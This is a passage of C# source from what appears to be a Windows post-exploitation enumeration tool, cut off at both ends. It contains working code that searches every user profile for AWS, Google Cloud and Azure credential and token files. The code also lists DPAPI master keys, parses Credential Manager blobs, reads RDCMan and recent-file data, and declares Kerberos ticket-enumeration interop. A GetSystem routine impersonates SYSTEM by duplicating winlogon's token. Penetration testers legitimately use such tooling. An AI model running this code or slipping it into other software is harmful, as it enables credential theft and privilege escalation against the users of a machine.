DateTime lastAccessed = System.IO.File.GetLastAccessTime(awsKeyFile); DateTime lastModified = System.IO.File.GetLastWriteTime(awsKeyFile); long size = new System.IO.FileInfo(awsKeyFile).Length; results.Add(new Dictionary() { { "file", awsKeyFile }, { "Description", "AWS credentials file" }, { "Accessed", String.Format("{0}", lastAccessed) }, { "Modified", String.Format("{0}", lastModified) }, { "Size", String.Format("{0}", size) } }); } string computeCredsDb = String.Format("{0}\\AppData\\Roaming\\gcloud\\credentials.db", dir); if (System.IO.File.Exists(computeCredsDb)) { DateTime lastAccessed = System.IO.File.GetLastAccessTime(computeCredsDb); DateTime lastModified = System.IO.File.GetLastWriteTime(computeCredsDb); long size = new System.IO.FileInfo(computeCredsDb).Length; results.Add(new Dictionary() { { "file", computeCredsDb }, { "Description", "GC Compute creds" }, { "Accessed", String.Format("{0}", lastAccessed) }, { "Modified", String.Format("{0}", lastModified) }, { "Size", String.Format("{0}", size) } }); } string computeLegacyCreds = String.Format("{0}\\AppData\\Roaming\\gcloud\\legacy_credentials", dir); if (System.IO.File.Exists(computeLegacyCreds)) { DateTime lastAccessed = System.IO.File.GetLastAccessTime(computeLegacyCreds); DateTime lastModified = System.IO.File.GetLastWriteTime(computeLegacyCreds); long size = new System.IO.FileInfo(computeLegacyCreds).Length; results.Add(new Dictionary() { { "file", computeLegacyCreds }, { "Description", "GC Compute creds legacy" }, { "Accessed", String.Format("{0}", lastAccessed) }, { "Modified", String.Format("{0}", lastModified) }, { "Size", String.Format("{0}", size) } }); } string computeAccessTokensDb = String.Format("{0}\\AppData\\Roaming\\gcloud\\access_tokens.db", dir); if (System.IO.File.Exists(computeAccessTokensDb)) { DateTime lastAccessed = System.IO.File.GetLastAccessTime(computeAccessTokensDb); DateTime lastModified = System.IO.File.GetLastWriteTime(computeAccessTokensDb); long size = new System.IO.FileInfo(computeAccessTokensDb).Length; results.Add(new Dictionary() { { "file", computeAccessTokensDb }, { "Description", "GC Compute tokens" }, { "Accessed", String.Format("{0}", lastAccessed) }, { "Modified", String.Format("{0}", lastModified) }, { "Size", String.Format("{0}", size) } }); } string azureTokens = String.Format("{0}\\.azure\\accessTokens.json", dir); if (System.IO.File.Exists(azureTokens)) { DateTime lastAccessed = System.IO.File.GetLastAccessTime(azureTokens); DateTime lastModified = System.IO.File.GetLastWriteTime(azureTokens); long size = new System.IO.FileInfo(azureTokens).Length; results.Add(new Dictionary() { { "file", azureTokens }, { "Description", "Azure tokens" }, { "Accessed", String.Format("{0}", lastAccessed) }, { "Modified", String.Format("{0}", lastModified) }, { "Size", String.Format("{0}", size) } }); } string azureProfile = String.Format("{0}\\.azure\\azureProfile.json", dir); if (System.IO.File.Exists(azureProfile)) { DateTime lastAccessed = System.IO.File.GetLastAccessTime(azureProfile); DateTime lastModified = System.IO.File.GetLastWriteTime(azureProfile); long size = new System.IO.FileInfo(azureProfile).Length; results.Add(new Dictionary() { { "file", azureProfile }, { "Description", "Azure profile" }, { "Accessed", String.Format("{0}", lastAccessed) }, { "Modified", String.Format("{0}", lastModified) }, { "Size", String.Format("{0}", size) } }); } } } } else { string awsKeyFile = String.Format("{0}\\.aws\\credentials", System.Environment.GetEnvironmentVariable("USERPROFILE")); if (System.IO.File.Exists(awsKeyFile)) { DateTime lastAccessed = System.IO.File.GetLastAccessTime(awsKeyFile); DateTime lastModified = System.IO.File.GetLastWriteTime(awsKeyFile); long size = new System.IO.FileInfo(awsKeyFile).Length; results.Add(new Dictionary() { { "file", awsKeyFile }, { "Description", "AWS keys file" }, { "Accessed", String.Format("{0}", lastAccessed) }, { "Modified", String.Format("{0}", lastModified) }, { "Size", String.Format("{0}", size) } }); } string computeCredsDb = String.Format("{0}\\AppData\\Roaming\\gcloud\\credentials.db", System.Environment.GetEnvironmentVariable("USERPROFILE")); if (System.IO.File.Exists(computeCredsDb)) { DateTime lastAccessed = System.IO.File.GetLastAccessTime(computeCredsDb); DateTime lastModified = System.IO.File.GetLastWriteTime(computeCredsDb); long size = new System.IO.FileInfo(computeCredsDb).Length; results.Add(new Dictionary() { { "file", computeCredsDb }, { "Description", "GC Compute creds" }, { "Accessed", String.Format("{0}", lastAccessed) }, { "Modified", String.Format("{0}", lastModified) }, { "Size", String.Format("{0}", size) } }); } string computeLegacyCreds = String.Format("{0}\\AppData\\Roaming\\gcloud\\legacy_credentials", System.Environment.GetEnvironmentVariable("USERPROFILE")); if (System.IO.File.Exists(computeLegacyCreds)) { DateTime lastAccessed = System.IO.File.GetLastAccessTime(computeLegacyCreds); DateTime lastModified = System.IO.File.GetLastWriteTime(computeLegacyCreds); long size = new System.IO.FileInfo(computeLegacyCreds).Length; results.Add(new Dictionary() { { "file", computeLegacyCreds }, { "Description", "GC Compute creds legacy" }, { "Accessed", String.Format("{0}", lastAccessed) }, { "Modified", String.Format("{0}", lastModified) }, { "Size", String.Format("{0}", size) } }); } string computeAccessTokensDb = String.Format("{0}\\AppData\\Roaming\\gcloud\\access_tokens.db", System.Environment.GetEnvironmentVariable("USERPROFILE")); if (System.IO.File.Exists(computeAccessTokensDb)) { DateTime lastAccessed = System.IO.File.GetLastAccessTime(computeAccessTokensDb); DateTime lastModified = System.IO.File.GetLastWriteTime(computeAccessTokensDb); long size = new System.IO.FileInfo(computeAccessTokensDb).Length; results.Add(new Dictionary() { { "file", computeAccessTokensDb }, { "Description", "GC Compute tokens" }, { "Accessed", String.Format("{0}", lastAccessed) }, { "Modified", String.Format("{0}", lastModified) }, { "Size", String.Format("{0}", size) } }); } string azureTokens = String.Format("{0}\\.azure\\accessTokens.json", System.Environment.GetEnvironmentVariable("USERPROFILE")); if (System.IO.File.Exists(azureTokens)) { DateTime lastAccessed = System.IO.File.GetLastAccessTime(azureTokens); DateTime lastModified = System.IO.File.GetLastWriteTime(azureTokens); long size = new System.IO.FileInfo(azureTokens).Length; results.Add(new Dictionary() { { "file", azureTokens }, { "Description", "Azure tokens" }, { "Accessed", String.Format("{0}", lastAccessed) }, { "Modified", String.Format("{0}", lastModified) }, { "Size", String.Format("{0}", size) } }); } string azureProfile = String.Format("{0}\\.azure\\azureProfile.json", System.Environment.GetEnvironmentVariable("USERPROFILE")); if (System.IO.File.Exists(azureProfile)) { DateTime lastAccessed = System.IO.File.GetLastAccessTime(azureProfile); DateTime lastModified = System.IO.File.GetLastWriteTime(azureProfile); long size = new System.IO.FileInfo(azureProfile).Length; results.Add(new Dictionary() { { "file", azureProfile }, { "Description", "Azure profile" }, { "Accessed", String.Format("{0}", lastAccessed) }, { "Modified", String.Format("{0}", lastModified) }, { "Size", String.Format("{0}", size) } }); } } } catch (Exception ex) { Beaprint.GrayPrint(String.Format(" [X] Exception: {0}", ex)); } return results; } public static List> GetRecentFiles() { // parses recent file shortcuts via COM List> results = new List>(); int lastDays = 7; DateTime startTime = System.DateTime.Now.AddDays(-lastDays); try { // WshShell COM object GUID Type shell = Type.GetTypeFromCLSID(new Guid("F935DC22-1CF0-11d0-ADB9-00C04FD58A0B")); Object shellObj = Activator.CreateInstance(shell); if (MyUtils.IsHighIntegrity()) { string userFolder = String.Format("{0}\\Users\\", Environment.GetEnvironmentVariable("SystemDrive")); string[] dirs = Directory.GetDirectories(userFolder); foreach (string dir in dirs) { string[] parts = dir.Split('\\'); string userName = parts[parts.Length - 1]; if (!(dir.EndsWith("Public") || dir.EndsWith("Default") || dir.EndsWith("Default User") || dir.EndsWith("All Users"))) { string recentPath = String.Format("{0}\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", dir); try { string[] recentFiles = Directory.GetFiles(recentPath, "*.lnk", SearchOption.AllDirectories); if (recentFiles.Length != 0) { Console.WriteLine(" {0} :\r\n", userName); foreach (string recentFile in recentFiles) { DateTime lastAccessed = System.IO.File.GetLastAccessTime(recentFile); if (lastAccessed > startTime) { // invoke the WshShell com object, creating a shortcut to then extract the TargetPath from Object shortcut = shellObj.GetType().InvokeMember("CreateShortcut", BindingFlags.InvokeMethod, null, shellObj, new object[] { recentFile }); Object TargetPath = shortcut.GetType().InvokeMember("TargetPath", BindingFlags.GetProperty, null, shortcut, new object[] { }); if (TargetPath.ToString().Trim() != "") { results.Add(new Dictionary() { { "Target", TargetPath.ToString() }, { "Accessed", String.Format("{0}", lastAccessed) } }); } Marshal.ReleaseComObject(shortcut); shortcut = null; } } } } catch { } } } } else { string recentPath = String.Format("{0}\\Microsoft\\Windows\\Recent\\", System.Environment.GetEnvironmentVariable("APPDATA")); string[] recentFiles = Directory.GetFiles(recentPath, "*.lnk", SearchOption.AllDirectories); foreach (string recentFile in recentFiles) { // old method (needed interop dll) //WshShell shell = new WshShell(); //IWshShortcut shortcut = (IWshShortcut)shell.CreateShortcut(recentFile); DateTime lastAccessed = System.IO.File.GetLastAccessTime(recentFile); if (lastAccessed > startTime) { // invoke the WshShell com object, creating a shortcut to then extract the TargetPath from Object shortcut = shellObj.GetType().InvokeMember("CreateShortcut", BindingFlags.InvokeMethod, null, shellObj, new object[] { recentFile }); Object TargetPath = shortcut.GetType().InvokeMember("TargetPath", BindingFlags.GetProperty, null, shortcut, new object[] { }); if (TargetPath.ToString().Trim() != "") { results.Add(new Dictionary() { { "Target", TargetPath.ToString() }, { "Accessed", String.Format("{0}", lastAccessed) } }); } Marshal.ReleaseComObject(shortcut); shortcut = null; } } } // release the WshShell COM object Marshal.ReleaseComObject(shellObj); shellObj = null; } catch (Exception ex) { Beaprint.GrayPrint(String.Format(" [X] Exception: {0}", ex)); } return results; } public static List> ListMasterKeys() { List> results = new List>(); // lists any found DPAPI master keys try { if (MyUtils.IsHighIntegrity()) { string userFolder = String.Format("{0}\\Users\\", Environment.GetEnvironmentVariable("SystemDrive")); string[] dirs = Directory.GetDirectories(userFolder); foreach (string dir in dirs) { string[] parts = dir.Split('\\'); string userName = parts[parts.Length - 1]; if (!(dir.EndsWith("Public") || dir.EndsWith("Default") || dir.EndsWith("Default User") || dir.EndsWith("All Users"))) { string userDPAPIBasePath = String.Format("{0}\\AppData\\Roaming\\Microsoft\\Protect\\", dir); if (System.IO.Directory.Exists(userDPAPIBasePath)) { string[] directories = Directory.GetDirectories(userDPAPIBasePath); foreach (string directory in directories) { string[] files = Directory.GetFiles(directory); foreach (string file in files) { if (Regex.IsMatch(file, @"[0-9A-Fa-f]{8}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{12}")) { DateTime lastAccessed = System.IO.File.GetLastAccessTime(file); DateTime lastModified = System.IO.File.GetLastWriteTime(file); string fileName = System.IO.Path.GetFileName(file); results.Add(new Dictionary() { { "MasterKey", file }, { "Accessed", String.Format("{0}", lastAccessed) }, { "Modified", String.Format("{0}", lastModified) }, }); } } } } } } } else { string userName = Environment.GetEnvironmentVariable("USERNAME"); string userDPAPIBasePath = String.Format("{0}\\AppData\\Roaming\\Microsoft\\Protect\\", System.Environment.GetEnvironmentVariable("USERPROFILE")); if (System.IO.Directory.Exists(userDPAPIBasePath)) { string[] directories = Directory.GetDirectories(userDPAPIBasePath); foreach (string directory in directories) { string[] files = Directory.GetFiles(directory); foreach (string file in files) { if (Regex.IsMatch(file, @"[0-9A-Fa-f]{8}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{12}")) { DateTime lastAccessed = System.IO.File.GetLastAccessTime(file); DateTime lastModified = System.IO.File.GetLastWriteTime(file); string fileName = System.IO.Path.GetFileName(file); results.Add(new Dictionary() { { "MasterKey", file }, { "Accessed", String.Format("{0}", lastAccessed) }, { "Modified", String.Format("{0}", lastModified) }, }); } } } } } } catch (Exception ex) { Beaprint.GrayPrint(String.Format(" [X] Exception: {0}", ex.Message)); } return results; } public static List> GetCredFiles() { List> results = new List>(); // lists any found files in Local\Microsoft\Credentials\* try { if (MyUtils.IsHighIntegrity()) { string userFolder = String.Format("{0}\\Users\\", Environment.GetEnvironmentVariable("SystemDrive")); string[] dirs = Directory.GetDirectories(userFolder); foreach (string dir in dirs) { string[] parts = dir.Split('\\'); string userName = parts[parts.Length - 1]; if (!(dir.EndsWith("Public") || dir.EndsWith("Default") || dir.EndsWith("Default User") || dir.EndsWith("All Users"))) { string userCredFilePath = String.Format("{0}\\AppData\\Local\\Microsoft\\Credentials\\", dir); if (System.IO.Directory.Exists(userCredFilePath)) { string[] systemFiles = Directory.GetFiles(userCredFilePath); if ((systemFiles != null) && (systemFiles.Length != 0)) { foreach (string file in systemFiles) { DateTime lastAccessed = System.IO.File.GetLastAccessTime(file); DateTime lastModified = System.IO.File.GetLastWriteTime(file); long size = new System.IO.FileInfo(file).Length; string fileName = System.IO.Path.GetFileName(file); // jankily parse the bytes to extract the credential type and master key GUID // reference- https://github.com/gentilkiwi/mimikatz/blob/3d8be22fff9f7222f9590aa007629e18300cf643/modules/kull_m_dpapi.h#L24-L54 byte[] credentialArray = File.ReadAllBytes(file); byte[] guidMasterKeyArray = new byte[16]; Array.Copy(credentialArray, 36, guidMasterKeyArray, 0, 16); Guid guidMasterKey = new Guid(guidMasterKeyArray); byte[] stringLenArray = new byte[16]; Array.Copy(credentialArray, 56, stringLenArray, 0, 4); int descLen = BitConverter.ToInt32(stringLenArray, 0); byte[] descBytes = new byte[descLen]; Array.Copy(credentialArray, 60, descBytes, 0, descLen - 4); string desc = Encoding.Unicode.GetString(descBytes); results.Add(new Dictionary() { { "CredFile", file }, { "Description", desc }, { "MasterKey", String.Format("{0}", guidMasterKey) }, { "Accessed", String.Format("{0}", lastAccessed) }, { "Modified", String.Format("{0}", lastModified) }, { "Size", String.Format("{0}", size) }, }); } } } } } string systemFolder = String.Format("{0}\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Credentials", Environment.GetEnvironmentVariable("SystemRoot")); string[] files = Directory.GetFiles(systemFolder); if ((files != null) && (files.Length != 0)) { foreach (string file in files) { DateTime lastAccessed = System.IO.File.GetLastAccessTime(file); DateTime lastModified = System.IO.File.GetLastWriteTime(file); long size = new System.IO.FileInfo(file).Length; string fileName = System.IO.Path.GetFileName(file); // jankily parse the bytes to extract the credential type and master key GUID // reference- https://github.com/gentilkiwi/mimikatz/blob/3d8be22fff9f7222f9590aa007629e18300cf643/modules/kull_m_dpapi.h#L24-L54 byte[] credentialArray = File.ReadAllBytes(file); byte[] guidMasterKeyArray = new byte[16]; Array.Copy(credentialArray, 36, guidMasterKeyArray, 0, 16); Guid guidMasterKey = new Guid(guidMasterKeyArray); byte[] stringLenArray = new byte[16]; Array.Copy(credentialArray, 56, stringLenArray, 0, 4); int descLen = BitConverter.ToInt32(stringLenArray, 0); byte[] descBytes = new byte[descLen]; Array.Copy(credentialArray, 60, descBytes, 0, descLen - 4); string desc = Encoding.Unicode.GetString(descBytes); results.Add(new Dictionary() { { "CredFile", file }, { "Description", desc }, { "MasterKey", String.Format("{0}", guidMasterKey) }, { "Accessed", String.Format("{0}", lastAccessed) }, { "Modified", String.Format("{0}", lastModified) }, { "Size", String.Format("{0}", size) }, }); } } } else { string userName = Environment.GetEnvironmentVariable("USERNAME"); string userCredFilePath = String.Format("{0}\\AppData\\Local\\Microsoft\\Credentials\\", System.Environment.GetEnvironmentVariable("USERPROFILE")); if (System.IO.Directory.Exists(userCredFilePath)) { string[] files = Directory.GetFiles(userCredFilePath); foreach (string file in files) { DateTime lastAccessed = System.IO.File.GetLastAccessTime(file); DateTime lastModified = System.IO.File.GetLastWriteTime(file); long size = new System.IO.FileInfo(file).Length; string fileName = System.IO.Path.GetFileName(file); // jankily parse the bytes to extract the credential type and master key GUID // reference- https://github.com/gentilkiwi/mimikatz/blob/3d8be22fff9f7222f9590aa007629e18300cf643/modules/kull_m_dpapi.h#L24-L54 byte[] credentialArray = File.ReadAllBytes(file); byte[] guidMasterKeyArray = new byte[16]; Array.Copy(credentialArray, 36, guidMasterKeyArray, 0, 16); Guid guidMasterKey = new Guid(guidMasterKeyArray); byte[] stringLenArray = new byte[16]; Array.Copy(credentialArray, 56, stringLenArray, 0, 4); int descLen = BitConverter.ToInt32(stringLenArray, 0); byte[] descBytes = new byte[descLen]; Array.Copy(credentialArray, 60, descBytes, 0, descLen - 4); string desc = Encoding.Unicode.GetString(descBytes); results.Add(new Dictionary() { { "CredFile", file }, { "Description", desc }, { "MasterKey", String.Format("{0}", guidMasterKey) }, { "Accessed", String.Format("{0}", lastAccessed) }, { "Modified", String.Format("{0}", lastModified) }, { "Size", String.Format("{0}", size) }, }); } } } } catch (Exception ex) { Beaprint.GrayPrint(String.Format(" [X] Exception: {0}", ex.Message)); } return results; } public static List> GetRDCManFiles() { List> results = new List>(); // lists any found files in Local\Microsoft\Credentials\* try { if (MyUtils.IsHighIntegrity()) { string userFolder = String.Format("{0}\\Users\\", Environment.GetEnvironmentVariable("SystemDrive")); string[] dirs = Directory.GetDirectories(userFolder); foreach (string dir in dirs) { string[] parts = dir.Split('\\'); string userName = parts[parts.Length - 1]; if (!(dir.EndsWith("Public") || dir.EndsWith("Default") || dir.EndsWith("Default User") || dir.EndsWith("All Users"))) { string userRDManFile = String.Format("{0}\\AppData\\Local\\Microsoft\\Remote Desktop Connection Manager\\RDCMan.settings", dir); if (System.IO.File.Exists(userRDManFile)) { XmlDocument xmlDoc = new XmlDocument(); xmlDoc.Load(userRDManFile); // grab the recent RDG files XmlNodeList filesToOpen = xmlDoc.GetElementsByTagName("FilesToOpen"); XmlNodeList items = filesToOpen[0].ChildNodes; XmlNode node = items[0]; DateTime lastAccessed = System.IO.File.GetLastAccessTime(userRDManFile); DateTime lastModified = System.IO.File.GetLastWriteTime(userRDManFile); Dictionary rdg = new Dictionary(){ { "RDCManFile", userRDManFile }, { "Accessed", String.Format("{0}", lastAccessed) }, { "Modified", String.Format("{0}", lastModified) }, { ".RDG Files", "" }, }; foreach (XmlNode rdgFile in items) rdg[".RDG Files"] += rdgFile.InnerText; results.Add(rdg); } } } } else { string userName = Environment.GetEnvironmentVariable("USERNAME"); string userRDManFile = String.Format("{0}\\AppData\\Local\\Microsoft\\Remote Desktop Connection Manager\\RDCMan.settings", System.Environment.GetEnvironmentVariable("USERPROFILE")); if (System.IO.File.Exists(userRDManFile)) { XmlDocument xmlDoc = new XmlDocument(); xmlDoc.Load(userRDManFile); // grab the recent RDG files XmlNodeList filesToOpen = xmlDoc.GetElementsByTagName("FilesToOpen"); XmlNodeList items = filesToOpen[0].ChildNodes; XmlNode node = items[0]; DateTime lastAccessed = System.IO.File.GetLastAccessTime(userRDManFile); DateTime lastModified = System.IO.File.GetLastWriteTime(userRDManFile); Dictionary rdg = new Dictionary(){ { "RDCManFile", userRDManFile }, { "Accessed", String.Format("{0}", lastAccessed) }, { "Modified", String.Format("{0}", lastModified) }, { ".RDG Files", "" }, }; foreach (XmlNode rdgFile in items) rdg[".RDG Files"] += rdgFile.InnerText; results.Add(rdg); } } } catch (Exception ex) { Beaprint.GrayPrint(String.Format(" [X] Exception: {0}", ex.Message)); } return results; } [DllImport("advapi32.dll", SetLastError = true)] [return: MarshalAs(UnmanagedType.Bool)] static extern bool OpenProcessToken(IntPtr ProcessHandle, UInt32 DesiredAccess, out IntPtr TokenHandle); [DllImport("secur32.dll", SetLastError = true)] public static extern int LsaRegisterLogonProcess(LSA_STRING_IN LogonProcessName, out IntPtr LsaHandle, out ulong SecurityMode); [DllImport("advapi32.dll")] public extern static bool DuplicateToken(IntPtr ExistingTokenHandle, int SECURITY_IMPERSONATION_LEVEL, ref IntPtr DuplicateTokenHandle); [DllImport("advapi32.dll", SetLastError = true)] static extern bool ImpersonateLoggedOnUser(IntPtr hToken); [DllImport("kernel32.dll", SetLastError = true)] [return: MarshalAs(UnmanagedType.Bool)] static extern bool CloseHandle(IntPtr hObject); [DllImport("advapi32.dll", SetLastError = true)] static extern bool RevertToSelf(); [DllImport("Secur32.dll", SetLastError = false)] private static extern uint LsaEnumerateLogonSessions(out UInt64 LogonSessionCount, out IntPtr LogonSessionList); [DllImport("Secur32.dll", SetLastError = false)] private static extern uint LsaGetLogonSessionData(IntPtr luid, out IntPtr ppLogonSessionData); [DllImport("secur32.dll", SetLastError = false)] public static extern int LsaLookupAuthenticationPackage([In] IntPtr LsaHandle, [In] ref LSA_STRING_IN PackageName, [Out] out int AuthenticationPackage); [DllImport("secur32.dll", SetLastError = false)] private static extern int LsaCallAuthenticationPackage(IntPtr LsaHandle, int AuthenticationPackage, ref KERB_QUERY_TKT_CACHE_REQUEST ProtocolSubmitBuffer, int SubmitBufferLength, out IntPtr ProtocolReturnBuffer, out int ReturnBufferLength, out int ProtocolStatus); [DllImport("secur32.dll", SetLastError = false)] private static extern uint LsaFreeReturnBuffer(IntPtr buffer); [DllImport("secur32.dll", SetLastError = false)] private static extern int LsaConnectUntrusted([Out] out IntPtr LsaHandle); [DllImport("secur32.dll", SetLastError = false)] private static extern int LsaDeregisterLogonProcess([In] IntPtr LsaHandle); [DllImport("secur32.dll", EntryPoint = "LsaCallAuthenticationPackage", SetLastError = false)] private static extern int LsaCallAuthenticationPackage_KERB_RETRIEVE_TKT(IntPtr LsaHandle, int AuthenticationPackage, ref KERB_RETRIEVE_TKT_REQUEST ProtocolSubmitBuffer, int SubmitBufferLength, out IntPtr ProtocolReturnBuffer, out int ReturnBufferLength, out int ProtocolStatus); [StructLayout(LayoutKind.Sequential)] public struct LSA_STRING_IN { public UInt16 Length; public UInt16 MaximumLength; public string Buffer; } [StructLayout(LayoutKind.Sequential)] public struct LSA_STRING_OUT { public UInt16 Length; public UInt16 MaximumLength; public IntPtr Buffer; } [StructLayout(LayoutKind.Sequential)] protected struct LUID { public uint LowPart; public int HighPart; } [StructLayout(LayoutKind.Sequential)] private struct SECURITY_LOGON_SESSION_DATA { public UInt32 Size; public LUID LoginID; public LSA_STRING_OUT Username; public LSA_STRING_OUT LoginDomain; public LSA_STRING_OUT AuthenticationPackage; public UInt32 LogonType; public UInt32 Session; public IntPtr PSiD; public UInt64 LoginTime; public LSA_STRING_OUT LogonServer; public LSA_STRING_OUT DnsDomainName; public LSA_STRING_OUT Upn; } [StructLayout(LayoutKind.Sequential)] private struct KERB_QUERY_TKT_CACHE_REQUEST { public KERB_PROTOCOL_MESSAGE_TYPE MessageType; public LUID LogonId; } public enum KERB_PROTOCOL_MESSAGE_TYPE : UInt32 { KerbDebugRequestMessage = 0, KerbQueryTicketCacheMessage = 1, KerbChangeMachinePasswordMessage = 2, KerbVerifyPacMessage = 3, KerbRetrieveTicketMessage = 4, KerbUpdateAddressesMessage = 5, KerbPurgeTicketCacheMessage = 6, KerbChangePasswordMessage = 7, KerbRetrieveEncodedTicketMessage = 8, KerbDecryptDataMessage = 9, KerbAddBindingCacheEntryMessage = 10, KerbSetPasswordMessage = 11, KerbSetPasswordExMessage = 12, KerbVerifyCredentialsMessage = 13, KerbQueryTicketCacheExMessage = 14, KerbPurgeTicketCacheExMessage = 15, KerbRefreshSmartcardCredentialsMessage = 16, KerbAddExtraCredentialsMessage = 17, KerbQuerySupplementalCredentialsMessage = 18, KerbTransferCredentialsMessage = 19, KerbQueryTicketCacheEx2Message = 20, KerbSubmitTicketMessage = 21, KerbAddExtraCredentialsExMessage = 22, KerbQueryKdcProxyCacheMessage = 23, KerbPurgeKdcProxyCacheMessage = 24, KerbQueryTicketCacheEx3Message = 25, KerbCleanupMachinePkinitCredsMessage = 26, KerbAddBindingCacheEntryExMessage = 27, KerbQueryBindingCacheMessage = 28, KerbPurgeBindingCacheMessage = 29, KerbQueryDomainExtendedPoliciesMessage = 30, KerbQueryS4U2ProxyCacheMessage = 31 } [StructLayout(LayoutKind.Sequential)] private struct KERB_QUERY_TKT_CACHE_RESPONSE { public KERB_PROTOCOL_MESSAGE_TYPE MessageType; public int CountOfTickets; // public KERB_TICKET_CACHE_INFO[] Tickets; public IntPtr Tickets; } [StructLayout(LayoutKind.Sequential)] public struct KERB_TICKET_CACHE_INFO { public LSA_STRING_OUT ServerName; public LSA_STRING_OUT RealmName; public Int64 StartTime; public Int64 EndTime; public Int64 RenewTime; public Int32 EncryptionType; public UInt32 TicketFlags; } [StructLayout(LayoutKind.Sequential)] private struct KERB_RETRIEVE_TKT_RESPONSE { public KERB_EXTERNAL_TICKET Ticket; } [StructLayout(LayoutKind.Sequential)] private struct KERB_CRYPTO_KEY { public Int32 KeyType; public Int32 Length; public IntPtr Value; } [StructLayout(LayoutKind.Sequential)] private struct KERB_EXTERNAL_TICKET { public IntPtr ServiceName; public IntPtr TargetName; public IntPtr ClientName; public LSA_STRING_OUT DomainName; public LSA_STRING_OUT TargetDomainName; public LSA_STRING_OUT AltTargetDomainName; public KERB_CRYPTO_KEY SessionKey; public UInt32 TicketFlags; public UInt32 Flags; public Int64 KeyExpirationTime; public Int64 StartTime; public Int64 EndTime; public Int64 RenewUntil; public Int64 TimeSkew; public Int32 EncodedTicketSize; public IntPtr EncodedTicket; } [StructLayout(LayoutKind.Sequential)] private struct KERB_RETRIEVE_TKT_REQUEST { public KERB_PROTOCOL_MESSAGE_TYPE MessageType; public LUID LogonId; public LSA_STRING_IN TargetName; public UInt64 TicketFlags; public KERB_CACHE_OPTIONS CacheOptions; public Int64 EncryptionType; public SECURITY_HANDLE CredentialsHandle; } [StructLayout(LayoutKind.Sequential)] public struct SECURITY_HANDLE { public IntPtr LowPart; public IntPtr HighPart; public SECURITY_HANDLE(int dummy) { LowPart = HighPart = IntPtr.Zero; } }; [StructLayout(LayoutKind.Sequential)] private struct KERB_EXTERNAL_NAME { public Int16 NameType; public UInt16 NameCount; public LSA_STRING_OUT Names; } [Flags] private enum KERB_CACHE_OPTIONS : UInt64 { KERB_RETRIEVE_TICKET_DEFAULT = 0x0, KERB_RETRIEVE_TICKET_DONT_USE_CACHE = 0x1, KERB_RETRIEVE_TICKET_USE_CACHE_ONLY = 0x2, KERB_RETRIEVE_TICKET_USE_CREDHANDLE = 0x4, KERB_RETRIEVE_TICKET_AS_KERB_CRED = 0x8, KERB_RETRIEVE_TICKET_WITH_SEC_CRED = 0x10, KERB_RETRIEVE_TICKET_CACHE_TICKET = 0x20, KERB_RETRIEVE_TICKET_MAX_LIFETIME = 0x40, } private enum SECURITY_LOGON_TYPE : uint { Interactive = 2, // logging on interactively. Network, // logging using a network. Batch, // logon for a batch process. Service, // logon for a service account. Proxy, // Not supported. Unlock, // Tattempt to unlock a workstation. NetworkCleartext, // network logon with cleartext credentials NewCredentials, // caller can clone its current token and specify new credentials for outbound connections RemoteInteractive, // terminal server session that is both remote and interactive CachedInteractive, // attempt to use the cached credentials without going out across the network CachedRemoteInteractive,// same as RemoteInteractive, except used internally for auditing purposes CachedUnlock // attempt to unlock a workstation } public enum KERB_ENCRYPTION_TYPE : UInt32 { reserved0 = 0, des_cbc_crc = 1, des_cbc_md4 = 2, des_cbc_md5 = 3, reserved1 = 4, des3_cbc_md5 = 5, reserved2 = 6, des3_cbc_sha1 = 7, dsaWithSHA1_CmsOID = 9, md5WithRSAEncryption_CmsOID = 10, sha1WithRSAEncryption_CmsOID = 11, rc2CBC_EnvOID = 12, rsaEncryption_EnvOID = 13, rsaES_OAEP_ENV_OID = 14, des_ede3_cbc_Env_OID = 15, des3_cbc_sha1_kd = 16, aes128_cts_hmac_sha1_96 = 17, aes256_cts_hmac_sha1_96 = 18, aes128_cts_hmac_sha256_128 = 19, aes256_cts_hmac_sha384_192 = 20, rc4_hmac = 23, rc4_hmac_exp = 24, camellia128_cts_cmac = 25, camellia256_cts_cmac = 26, subkey_keymaterial = 65 } [Flags] public enum KERB_TICKET_FLAGS : UInt32 { reserved = 2147483648, forwardable = 0x40000000, forwarded = 0x20000000, proxiable = 0x10000000, proxy = 0x08000000, may_postdate = 0x04000000, postdated = 0x02000000, invalid = 0x01000000, renewable = 0x00800000, initial = 0x00400000, pre_authent = 0x00200000, hw_authent = 0x00100000, ok_as_delegate = 0x00040000, name_canonicalize = 0x00010000, //cname_in_pa_data = 0x00040000, enc_pa_rep = 0x00010000, reserved1 = 0x00000001 } public static IntPtr LsaRegisterLogonProcessHelper() { // helper that establishes a connection to the LSA server and verifies that the caller is a logon application // used for Kerberos ticket enumeration string logonProcessName = "User32LogonProcesss"; LSA_STRING_IN LSAString; IntPtr lsaHandle = IntPtr.Zero; UInt64 securityMode = 0; LSAString.Length = (ushort)logonProcessName.Length; LSAString.MaximumLength = (ushort)(logonProcessName.Length + 1); LSAString.Buffer = logonProcessName; int ret = LsaRegisterLogonProcess(LSAString, out lsaHandle, out securityMode); return lsaHandle; } public static bool GetSystem() { // helper to elevate to SYSTEM for Kerberos ticket enumeration via token impersonation if (MyUtils.IsHighIntegrity()) { IntPtr hToken = IntPtr.Zero; // Open winlogon's token with TOKEN_DUPLICATE accesss so ca can make a copy of the token with DuplicateToken Process[] processes = Process.GetProcessesByName("winlogon"); IntPtr handle = processes[0].Handle; // TOKEN_DUPLICATE = 0x0002 bool success = OpenProcessToken(handle, 0x0002, out hToken); if (!success) { //Console.WriteLine("OpenProcessToken failed!"); return false; } // make a copy of the NT AUTHORITY\SYSTEM token from winlogon // 2 == SecurityImpersonation IntPtr hDupToken = IntPtr.Zero; success = DuplicateToken(hToken, 2, ref hDupToken); if (!success) { //Console.WriteLine("DuplicateToken failed!"); return false; } success = ImpersonateLoggedOnUser(hDupToken); if (!success) { //Console.WriteLine("ImpersonateLoggedOnUser failed!"); return false; } // clean up the handles we created CloseHandle(hToken); CloseHandle(hDupToken); string name = System.Security.Principal.WindowsIdentity.GetCurrent().Name; if (name != "NT AUTHORITY\\SYSTEM") { return false; } return true; } else { return false; } } public static IEnumerable Split(string text, int partLength) { if (text == null) { Console.WriteLine("[ERROR] Split() - singleLineString"); } if (partLength < 1) { Console.WriteLine("[ERROR] Split() - 'columns' must be greater than 0."); } var 